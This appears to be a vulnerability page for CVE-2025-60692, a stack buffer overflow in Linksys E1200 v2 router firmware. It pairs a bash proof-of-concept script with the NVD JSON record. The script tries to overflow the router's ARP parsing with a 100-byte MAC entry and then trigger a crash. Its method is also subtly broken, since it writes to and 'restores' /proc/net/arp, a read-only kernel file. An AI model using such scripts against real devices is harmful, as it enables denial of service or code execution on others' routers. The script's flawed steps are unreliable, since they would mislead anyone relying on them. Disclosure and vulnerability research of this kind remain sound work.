CVE-2025-60692

#!/bin/bash # CVE-2025-60692 PoC - Linksys E1200 v2 Stack Buffer Overflow # This PoC demonstrates the vulnerability by crafting a malicious /proc/net/arp entry # Create a malicious arp entry with oversized MAC address field # The buffer is only 50 bytes but %100s allows reading up to 100 bytes MALICIOUS_MAC=$(python3 -c "print('A'*100)") MALICIOUS_IP="192.168.1.100" # Backup original /proc/net/arp cp /proc/net/arp /tmp/arp_backup 2>/dev/null || true # Attempt to write malicious entry (requires root/admin privileges on the device) echo "$MALICIOUS_IP 0x1 0x2 $MALICIOUS_MAC * * *" > /proc/net/arp # Trigger the vulnerable function # This would typically be called by some network service curl http://192.168.1.1/ > /dev/null 2>&1 # Check if process crashed grep -i "segfault\|core dump" /var/log/syslog && echo "Vulnerability triggered!" # Restore backup cp /tmp/arp_backup /proc/net/arp 2>/dev/null || true echo "PoC execution completed"

{"cve": {"id": "CVE-2025-60692", "sourceIdentifier": "[email protected]", "published": "2025-11-13T17:15:49.247", "lastModified": "2025-11-17T19:55:29.503", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow vulnerability exists in the libshared.so library of Cisco Linksys E1200 v2 routers (Firmware E1200_v2.0.11.001_us.tar.gz). The functions get_mac_from_ip and get_ip_from_mac use sscanf with overly permissive \"%100s\" format specifiers to parse entries from /proc/net/arp into fixed-size buffers (v6: 50 bytes, v7 sub-arrays: 50 bytes). This allows local attackers controlling the contents of /proc/net/arp to overflow stack buffers, leading to memory corruption, denial of service, or potential arbitrary code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linksys:e1200_firmware:2.0.11.001:*:*:*:*:*:*:*", "matchCriteriaId": "2461F974-2121-490C-A6CD-18B006070679"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:linksys:e1200:2:*:*:*:*:*:*:*", "matchCriteriaId": "4B14B800-5FCA-4E2B-A42B-EBE6EEC8FBB1"}]}]}], "references": [{"url": "http://linksys.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/Linksys/Linksys-E1200/CVE-2025-60692.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.linksys.com/", "source": "[email protected]", "tags": ["Product"]}]}}